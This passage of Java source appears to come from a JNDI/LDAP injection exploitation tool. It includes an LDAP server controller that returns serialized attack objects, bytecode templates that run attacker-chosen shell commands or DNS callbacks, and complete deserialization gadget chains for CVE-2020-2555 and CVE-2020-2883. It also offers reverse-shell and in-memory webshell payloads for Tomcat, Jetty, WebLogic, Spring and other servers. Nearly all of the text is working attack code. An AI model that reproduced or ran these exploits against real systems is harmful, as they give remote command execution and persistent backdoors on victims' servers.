break; 38 | case commonscollectionsk1: 39 | bytes = CommonsCollectionsK1.getBytes(payloadType, params); 40 | break; 41 | case commonscollectionsk2: 42 | bytes = CommonsCollectionsK2.getBytes(payloadType, params); 43 | break; 44 | case jdk7u21: 45 | bytes = Jdk7u21.getBytes(payloadType, params); 46 | break; 47 | case jre8u20: 48 | bytes = Jre8u20.getBytes(payloadType, params); 49 | break; 50 | case c3p0: 51 | bytes = C3P0.getBytes(payloadType, params); 52 | break; 53 | case cve_2020_2555: 54 | bytes = CVE_2020_2555.getBytes(payloadType, params); 55 | break; 56 | case cve_2020_2883: 57 | bytes = CVE_2020_2883.getBytes(payloadType, params); 58 | break; 59 | case custom: 60 | bytes = Custom.getBytes(payloadType, params); 61 | break; 62 | } 63 | 64 | e.addAttribute("javaClassName", "foo"); 65 | e.addAttribute("javaSerializedData",bytes); 66 | result.sendSearchEntry(e); 67 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 68 | } 69 | 70 | @Override 71 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { 72 | try{ 73 | int firstIndex = base.indexOf("/"); 74 | int secondIndex = base.indexOf("/", firstIndex + 1); 75 | try{ 76 | gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); 77 | System.out.println("[+] GaddgetType: " + gadgetType); 78 | }catch(IllegalArgumentException e){ 79 | throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex)); 80 | } 81 | 82 | if(gadgetType == GadgetType.urldns){ 83 | String url = "http://" + base.substring(base.lastIndexOf("/") + 1); 84 | System.out.println("[+] URL: " + url); 85 | params = new String[]{url}; 86 | return; 87 | } 88 | 89 | int thirdIndex = base.indexOf("/", secondIndex + 1); 90 | if(thirdIndex < 0) thirdIndex = base.length(); 91 | try{ 92 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); 93 | System.out.println("[+] PayloadType: " + payloadType); 94 | }catch (IllegalArgumentException e){ 95 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); 96 | } 97 | 98 | switch(payloadType){ 99 | case dnslog: 100 | String url = base.substring(base.lastIndexOf("/") + 1); 101 | System.out.println("[+] URL: " + url); 102 | params = new String[]{url}; 103 | break; 104 | case command: 105 | String cmd = Util.getCmdFromBase(base); 106 | System.out.println("[+] Command: " + cmd); 107 | params = new String[]{cmd}; 108 | break; 109 | case reverseshell: 110 | String[] results = Util.getIPAndPortFromBase(base); 111 | System.out.println("[+] IP: " + results[0]); 112 | System.out.println("[+] Port: " + results[1]); 113 | params = results; 114 | break; 115 | } 116 | 117 | }catch(Exception e){ 118 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e; 119 | if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e; 120 | 121 | throw new IncorrectParamsException("Incorrect params: " + base); 122 | } 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/CommandTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | import static org.objectweb.asm.Opcodes.*; 7 | 8 | public class CommandTemplate implements Template{ 9 | private String className; 10 | private byte[] bytes; 11 | private String cmd; 12 | 13 | public CommandTemplate(String cmd){ 14 | this.cmd = cmd; 15 | this.className = "Exploit" + Util.getRandomString(); 16 | 17 | generate(); 18 | } 19 | 20 | public CommandTemplate(String cmd, String className){ 21 | this.cmd = cmd; 22 | this.className = className; 23 | 24 | generate(); 25 | } 26 | 27 | public void cache(){ 28 | Cache.set(className, bytes); 29 | } 30 | 31 | public String getClassName(){ 32 | return className; 33 | } 34 | 35 | public byte[] getBytes(){ 36 | return bytes; 37 | } 38 | 39 | public void generate(){ 40 | ClassWriter cw = new ClassWriter(0); 41 | FieldVisitor fv; 42 | MethodVisitor mv; 43 | AnnotationVisitor av0; 44 | 45 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 46 | 47 | { 48 | fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); 49 | fv.visitEnd(); 50 | } 51 | { 52 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 53 | mv.visitCode(); 54 | Label l0 = new Label(); 55 | Label l1 = new Label(); 56 | Label l2 = new Label(); 57 | mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); 58 | mv.visitVarInsn(ALOAD, 0); 59 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 60 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 61 | mv.visitLdcInsn("/"); 62 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 63 | Label l3 = new Label(); 64 | mv.visitJumpInsn(IFEQ, l3); 65 | mv.visitInsn(ICONST_3); 66 | mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); 67 | mv.visitInsn(DUP); 68 | mv.visitInsn(ICONST_0); 69 | mv.visitLdcInsn("/bin/sh"); 70 | mv.visitInsn(AASTORE); 71 | mv.visitInsn(DUP); 72 | mv.visitInsn(ICONST_1); 73 | mv.visitLdcInsn("-c"); 74 | mv.visitInsn(AASTORE); 75 | mv.visitInsn(DUP); 76 | mv.visitInsn(ICONST_2); 77 | mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); 78 | mv.visitInsn(AASTORE); 79 | mv.visitVarInsn(ASTORE, 1); 80 | mv.visitJumpInsn(GOTO, l0); 81 | mv.visitLabel(l3); 82 | mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); 83 | mv.visitInsn(ICONST_3); 84 | mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); 85 | mv.visitInsn(DUP); 86 | mv.visitInsn(ICONST_0); 87 | mv.visitLdcInsn("cmd"); 88 | mv.visitInsn(AASTORE); 89 | mv.visitInsn(DUP); 90 | mv.visitInsn(ICONST_1); 91 | mv.visitLdcInsn("/C"); 92 | mv.visitInsn(AASTORE); 93 | mv.visitInsn(DUP); 94 | mv.visitInsn(ICONST_2); 95 | mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); 96 | mv.visitInsn(AASTORE); 97 | mv.visitVarInsn(ASTORE, 1); 98 | mv.visitLabel(l0); 99 | mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"[Ljava/lang/String;"}, 0, null); 100 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 101 | mv.visitVarInsn(ALOAD, 1); 102 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); 103 | mv.visitInsn(POP); 104 | mv.visitLabel(l1); 105 | Label l4 = new Label(); 106 | mv.visitJumpInsn(GOTO, l4); 107 | mv.visitLabel(l2); 108 | mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); 109 | mv.visitVarInsn(ASTORE, 2); 110 | mv.visitVarInsn(ALOAD, 2); 111 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); 112 | mv.visitLabel(l4); 113 | mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); 114 | mv.visitInsn(RETURN); 115 | mv.visitMaxs(4, 3); 116 | mv.visitEnd(); 117 | } 118 | { 119 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 120 | mv.visitCode(); 121 | mv.visitInsn(RETURN); 122 | mv.visitMaxs(0, 3); 123 | mv.visitEnd(); 124 | } 125 | { 126 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 127 | mv.visitCode(); 128 | mv.visitInsn(RETURN); 129 | mv.visitMaxs(0, 4); 130 | mv.visitEnd(); 131 | } 132 | { 133 | mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); 134 | mv.visitCode(); 135 | mv.visitLdcInsn(cmd); 136 | mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); 137 | mv.visitInsn(RETURN); 138 | mv.visitMaxs(1, 0); 139 | mv.visitEnd(); 140 | } 141 | cw.visitEnd(); 142 | bytes = cw.toByteArray(); 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DnslogTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | 7 | import static org.objectweb.asm.Opcodes.*; 8 | 9 | public class DnslogTemplate implements Template { 10 | private String className; 11 | private byte[] bytes; 12 | private String dnslog; 13 | 14 | 15 | public DnslogTemplate(String dnslog){ 16 | this.dnslog = dnslog; 17 | this.className = "Exploit" + Util.getRandomString(); 18 | 19 | generate(); 20 | } 21 | 22 | public DnslogTemplate(String dnslog, String className){ 23 | this.dnslog = dnslog; 24 | this.className = className; 25 | 26 | generate(); 27 | } 28 | 29 | public void cache(){ 30 | Cache.set(className, bytes); 31 | } 32 | 33 | public String getClassName(){ 34 | return className; 35 | } 36 | 37 | public byte[] getBytes(){ 38 | return bytes; 39 | } 40 | 41 | public void generate(){ 42 | ClassWriter cw = new ClassWriter(0); 43 | FieldVisitor fv; 44 | MethodVisitor mv; 45 | AnnotationVisitor av0; 46 | 47 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 48 | 49 | { 50 | fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); 51 | fv.visitEnd(); 52 | } 53 | { 54 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 55 | mv.visitCode(); 56 | Label l0 = new Label(); 57 | Label l1 = new Label(); 58 | Label l2 = new Label(); 59 | mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); 60 | mv.visitVarInsn(ALOAD, 0); 61 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 62 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 63 | mv.visitLdcInsn("/"); 64 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 65 | Label l3 = new Label(); 66 | mv.visitJumpInsn(IFEQ, l3); 67 | mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); 68 | mv.visitInsn(DUP); 69 | mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); 70 | mv.visitLdcInsn("ping -c 1 "); 71 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 72 | mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); 73 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 74 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); 75 | mv.visitVarInsn(ASTORE, 1); 76 | mv.visitJumpInsn(GOTO, l0); 77 | mv.visitLabel(l3); 78 | mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); 79 | mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); 80 | mv.visitInsn(DUP); 81 | mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); 82 | mv.visitLdcInsn("nslookup "); 83 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 84 | mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); 85 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 86 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); 87 | mv.visitVarInsn(ASTORE, 1); 88 | mv.visitLabel(l0); 89 | mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"java/lang/String"}, 0, null); 90 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 91 | mv.visitVarInsn(ALOAD, 1); 92 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); 93 | mv.visitInsn(POP); 94 | mv.visitLabel(l1); 95 | Label l4 = new Label(); 96 | mv.visitJumpInsn(GOTO, l4); 97 | mv.visitLabel(l2); 98 | mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); 99 | mv.visitVarInsn(ASTORE, 2); 100 | mv.visitVarInsn(ALOAD, 2); 101 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); 102 | mv.visitLabel(l4); 103 | mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); 104 | mv.visitInsn(RETURN); 105 | mv.visitMaxs(2, 3); 106 | mv.visitEnd(); 107 | } 108 | { 109 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 110 | mv.visitCode(); 111 | mv.visitInsn(RETURN); 112 | mv.visitMaxs(0, 3); 113 | mv.visitEnd(); 114 | } 115 | { 116 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 117 | mv.visitCode(); 118 | mv.visitInsn(RETURN); 119 | mv.visitMaxs(0, 4); 120 | mv.visitEnd(); 121 | } 122 | { 123 | mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); 124 | mv.visitCode(); 125 | mv.visitLdcInsn(dnslog); 126 | mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); 127 | mv.visitInsn(RETURN); 128 | mv.visitMaxs(1, 0); 129 | mv.visitEnd(); 130 | } 131 | cw.visitEnd(); 132 | bytes = cw.toByteArray(); 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CVE_2020_2555.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.ClassFiles; 5 | import com.feihong.ldap.template.*; 6 | import com.feihong.ldap.utils.Cache; 7 | import com.tangosol.util.extractor.ChainedExtractor; 8 | import com.tangosol.util.extractor.ReflectionExtractor; 9 | import com.tangosol.util.filter.LimitFilter; 10 | import org.apache.tomcat.util.buf.HexUtils; 11 | 12 | import javax.management.BadAttributeValueExpException; 13 | import javax.script.ScriptEngineManager;; 14 | import java.io.ByteArrayOutputStream; 15 | import java.io.ObjectOutputStream; 16 | import java.lang.reflect.Field; 17 | 18 | public class CVE_2020_2555 { 19 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 20 | 21 | String className; 22 | switch (type){ 23 | case command: 24 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 25 | commandTemplate.cache(); 26 | className = commandTemplate.getClassName(); 27 | break; 28 | case dnslog: 29 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 30 | dnslogTemplate.cache(); 31 | className = dnslogTemplate.getClassName(); 32 | break; 33 | case reverseshell: 34 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 35 | reverseShellTemplate.cache(); 36 | className = reverseShellTemplate.getClassName(); 37 | break; 38 | case tomcatecho: 39 | className = TomcatEchoTemplate.class.getName(); 40 | break; 41 | case springecho: 42 | className = SpringEchoTemplate.class.getName(); 43 | break; 44 | case weblogicecho: 45 | className = WeblogicEchoTemplate.class.getName(); 46 | break; 47 | case tomcatmemshell1: 48 | className = TomcatMemshellTemplate1.class.getName(); 49 | break; 50 | case tomcatmemshell2: 51 | className = TomcatMemshellTemplate2.class.getName(); 52 | break; 53 | case jettymemshell: 54 | className = JettyMemshellTemplate.class.getName(); 55 | break; 56 | case jbossmemshell: 57 | className = JBossMemshellTemplate.class.getName(); 58 | break; 59 | case weblogicmemshell1: 60 | className = WeblogicMemshellTemplate1.class.getName(); 61 | break; 62 | case weblogicmemshell2: 63 | className = WeblogicMemshellTemplate2.class.getName(); 64 | break; 65 | case webspherememshell: 66 | className = WebsphereMemshellTemplate.class.getName(); 67 | break; 68 | case springmemshell: 69 | className = SpringMemshellTemplate.class.getName(); 70 | break; 71 | default: 72 | throw new IllegalStateException("Unexpected value: " + type); 73 | } 74 | 75 | 76 | byte[] bytes = Cache.get(className); 77 | if(bytes == null){ 78 | String shortName = className.substring(className.lastIndexOf(".") + 1); 79 | bytes = Cache.get(shortName); 80 | } 81 | String classCode = HexUtils.toHexString(bytes); 82 | 83 | String code = "var hex = '" + classCode + "';\n" + 84 | "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" + 85 | "var b = new java.io.ByteArrayOutputStream();\n" + 86 | "for (var i = 0; i < hex.length() / 2; i++) {\n" + 87 | " var index = i * 2;\n" + 88 | " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" + 89 | " b.write(v);\n" + 90 | "};\n" + 91 | "b.close(); \n" + 92 | "var bytes = b.toByteArray(); \n" + 93 | "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 94 | "try{\n" + 95 | " var clazz = classLoader.loadClass('" + className + "');\n" + 96 | " clazz.newInstance();\n" + 97 | "}catch(err){\n" + 98 | " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + 99 | " method.setAccessible(true);\n" + 100 | " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + 101 | " clazz.newInstance();\n" + 102 | "}"; 103 | 104 | ReflectionExtractor extractor1 = new ReflectionExtractor( 105 | "getConstructor", 106 | new Object[]{new Class[0]} 107 | ); 108 | 109 | ReflectionExtractor extractor2 = new ReflectionExtractor( 110 | "newInstance", 111 | new Object[]{new Object[0]} 112 | ); 113 | 114 | ReflectionExtractor extractor3 = new ReflectionExtractor( 115 | "getEngineByName", 116 | new Object[]{"javascript"} 117 | ); 118 | 119 | ReflectionExtractor extractor4 = new ReflectionExtractor( 120 | "eval", 121 | new Object[]{code} 122 | ); 123 | 124 | ReflectionExtractor[] extractors = { 125 | extractor1, 126 | extractor2, 127 | extractor3, 128 | extractor4 129 | }; 130 | 131 | ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); 132 | LimitFilter limitFilter = new LimitFilter(); 133 | 134 | //m_comparator 135 | Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); 136 | m_comparator.setAccessible(true); 137 | m_comparator.set(limitFilter, chainedExtractor); 138 | 139 | //m_oAnchorTop 140 | Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); 141 | m_oAnchorTop.setAccessible(true); 142 | m_oAnchorTop.set(limitFilter, ScriptEngineManager.class); 143 | 144 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 145 | Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 146 | field.setAccessible(true); 147 | field.set(badAttributeValueExpException, limitFilter); 148 | 149 | //序列化 150 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 151 | ObjectOutputStream oos = new ObjectOutputStream(baous); 152 | oos.writeObject(badAttributeValueExpException); 153 | bytes = baous.toByteArray(); 154 | oos.close(); 155 | 156 | return bytes; 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CVE_2020_2883.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Reflections; 5 | import com.feihong.ldap.template.*; 6 | import com.feihong.ldap.utils.Cache; 7 | import com.tangosol.util.ValueExtractor; 8 | import com.tangosol.util.comparator.ExtractorComparator; 9 | import com.tangosol.util.extractor.ChainedExtractor; 10 | import com.tangosol.util.extractor.ReflectionExtractor; 11 | import org.apache.tomcat.util.buf.HexUtils; 12 | import javax.script.ScriptEngineManager; 13 | import java.io.ByteArrayOutputStream; 14 | import java.io.ObjectOutputStream; 15 | import java.lang.reflect.Field; 16 | import java.util.PriorityQueue; 17 | 18 | 19 | public class CVE_2020_2883 { 20 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 21 | 22 | String className; 23 | switch (type){ 24 | case command: 25 | CommandTemplate commandTemplate = new CommandTemplate(param[0]); 26 | commandTemplate.cache(); 27 | className = commandTemplate.getClassName(); 28 | break; 29 | case dnslog: 30 | DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 31 | dnslogTemplate.cache(); 32 | className = dnslogTemplate.getClassName(); 33 | break; 34 | case reverseshell: 35 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 36 | reverseShellTemplate.cache(); 37 | className = reverseShellTemplate.getClassName(); 38 | break; 39 | case tomcatecho: 40 | className = TomcatEchoTemplate.class.getName(); 41 | break; 42 | case springecho: 43 | className = SpringEchoTemplate.class.getName(); 44 | break; 45 | case weblogicecho: 46 | className = WeblogicEchoTemplate.class.getName(); 47 | break; 48 | case tomcatmemshell1: 49 | className = TomcatMemshellTemplate1.class.getName(); 50 | break; 51 | case tomcatmemshell2: 52 | className = TomcatMemshellTemplate2.class.getName(); 53 | break; 54 | case jettymemshell: 55 | className = JettyMemshellTemplate.class.getName(); 56 | break; 57 | case jbossmemshell: 58 | className = JBossMemshellTemplate.class.getName(); 59 | break; 60 | case weblogicmemshell1: 61 | className = WeblogicMemshellTemplate1.class.getName(); 62 | break; 63 | case weblogicmemshell2: 64 | className = WeblogicMemshellTemplate2.class.getName(); 65 | break; 66 | case webspherememshell: 67 | className = WebsphereMemshellTemplate.class.getName(); 68 | break; 69 | case springmemshell: 70 | className = SpringMemshellTemplate.class.getName(); 71 | break; 72 | default: 73 | throw new IllegalStateException("Unexpected value: " + type); 74 | } 75 | 76 | byte[] bytes = Cache.get(className); 77 | if(bytes == null){ 78 | String shortName = className.substring(className.lastIndexOf(".") + 1); 79 | bytes = Cache.get(shortName); 80 | } 81 | String classCode = HexUtils.toHexString(bytes); 82 | 83 | String code = "var hex = '" + classCode + "';\n" + 84 | "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" + 85 | "var b = new java.io.ByteArrayOutputStream();\n" + 86 | "for (var i = 0; i < hex.length() / 2; i++) {\n" + 87 | " var index = i * 2;\n" + 88 | " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" + 89 | " b.write(v);\n" + 90 | "};\n" + 91 | "b.close(); \n" + 92 | "var bytes = b.toByteArray(); \n" + 93 | "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 94 | "try{\n" + 95 | " var clazz = classLoader.loadClass('" + className + "');\n" + 96 | " clazz.newInstance();\n" + 97 | "}catch(err){\n" + 98 | " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + 99 | " method.setAccessible(true);\n" + 100 | " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + 101 | " clazz.newInstance();\n" + 102 | "}"; 103 | 104 | ReflectionExtractor extractor1 = new ReflectionExtractor( 105 | "getConstructor", 106 | new Object[]{new Class[0]} 107 | ); 108 | 109 | ReflectionExtractor extractor2 = new ReflectionExtractor( 110 | "newInstance", 111 | new Object[]{new Object[0]} 112 | ); 113 | 114 | ReflectionExtractor extractor3 = new ReflectionExtractor( 115 | "getEngineByName", 116 | new Object[]{"javascript"} 117 | ); 118 | 119 | ReflectionExtractor extractor4 = new ReflectionExtractor( 120 | "eval", 121 | new Object[]{code} 122 | ); 123 | 124 | ReflectionExtractor[] extractors = { 125 | extractor1, 126 | extractor2, 127 | extractor3, 128 | extractor4 129 | }; 130 | 131 | Class clazz = ChainedExtractor.class.getSuperclass(); 132 | Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 133 | m_aExtractor.setAccessible(true); 134 | 135 | ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 136 | ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 137 | reflectionExtractor 138 | }; 139 | 140 | ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 141 | 142 | PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 143 | queue.add("1"); 144 | queue.add("1"); 145 | m_aExtractor.set(chainedExtractor1, extractors); 146 | 147 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 148 | queueArray[0] = ScriptEngineManager.class; 149 | queueArray[1] = "1"; 150 | 151 | //序列化 152 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 153 | ObjectOutputStream oos = new ObjectOutputStream(baous); 154 | oos.writeObject(queue); 155 | bytes = baous.toByteArray(); 156 | oos.close(); 157 | 158 | return bytes; 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/BasicController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.exceptions.IncorrectParamsException; 5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 6 | import com.feihong.ldap.template.*; 7 | import com.feihong.ldap.utils.*; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 9 | import com.unboundid.ldap.sdk.Entry; 10 | import com.unboundid.ldap.sdk.LDAPResult; 11 | import com.unboundid.ldap.sdk.ResultCode; 12 | 13 | import java.net.URL; 14 | 15 | @LdapMapping(uri = { "/basic" }) 16 | public class BasicController implements LdapController { 17 | //最后的反斜杠不能少 18 | private String codebase = Config.codeBase; 19 | private PayloadType type; 20 | private String[] params; 21 | 22 | @Override 23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { 24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload"); 25 | //这个方法里面有改动,其他基本无改动 26 | Entry e = new Entry(base); 27 | String className = ""; 28 | 29 | switch (type){ 30 | case dnslog: 31 | DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]); 32 | dnslogTemplate.cache(); 33 | className = dnslogTemplate.getClassName(); 34 | break; 35 | case command: 36 | CommandTemplate commandTemplate = new CommandTemplate(params[0]); 37 | commandTemplate.cache(); 38 | className = commandTemplate.getClassName(); 39 | break; 40 | case reverseshell: 41 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]); 42 | reverseShellTemplate.cache(); 43 | className = reverseShellTemplate.getClassName(); 44 | break; 45 | case tomcatecho: 46 | className = TomcatEchoTemplate.class.getName(); 47 | break; 48 | case springecho: 49 | className = SpringEchoTemplate.class.getName(); 50 | break; 51 | case weblogicecho: 52 | className = WeblogicEchoTemplate.class.getName(); 53 | break; 54 | case tomcatmemshell1: 55 | className = TomcatMemshellTemplate1.class.getName(); 56 | break; 57 | case tomcatmemshell2: 58 | className = TomcatMemshellTemplate2.class.getName(); 59 | break; 60 | case tomcatmemshell3: 61 | className = BehinderFilter.class.getName(); 62 | break; 63 | case jettymemshell: 64 | className = JettyMemshellTemplate.class.getName(); 65 | break; 66 | case jbossmemshell: 67 | className = JBossMemshellTemplate.class.getName(); 68 | break; 69 | case weblogicmemshell1: 70 | className = WeblogicMemshellTemplate1.class.getName(); 71 | break; 72 | case weblogicmemshell2: 73 | className = WeblogicMemshellTemplate2.class.getName(); 74 | break; 75 | case webspherememshell: 76 | className = WebsphereMemshellTemplate.class.getName(); 77 | break; 78 | case springmemshell: 79 | className = SpringMemshellTemplate.class.getName(); 80 | break; 81 | case issuccess: 82 | className = isSuccess.class.getName(); 83 | break; 84 | case godzillamemshell: 85 | className = GodzillaFilter.class.getName(); 86 | break; 87 | case jettymemshell2: 88 | className=JettyBehinderFilter.class.getName(); 89 | break; 90 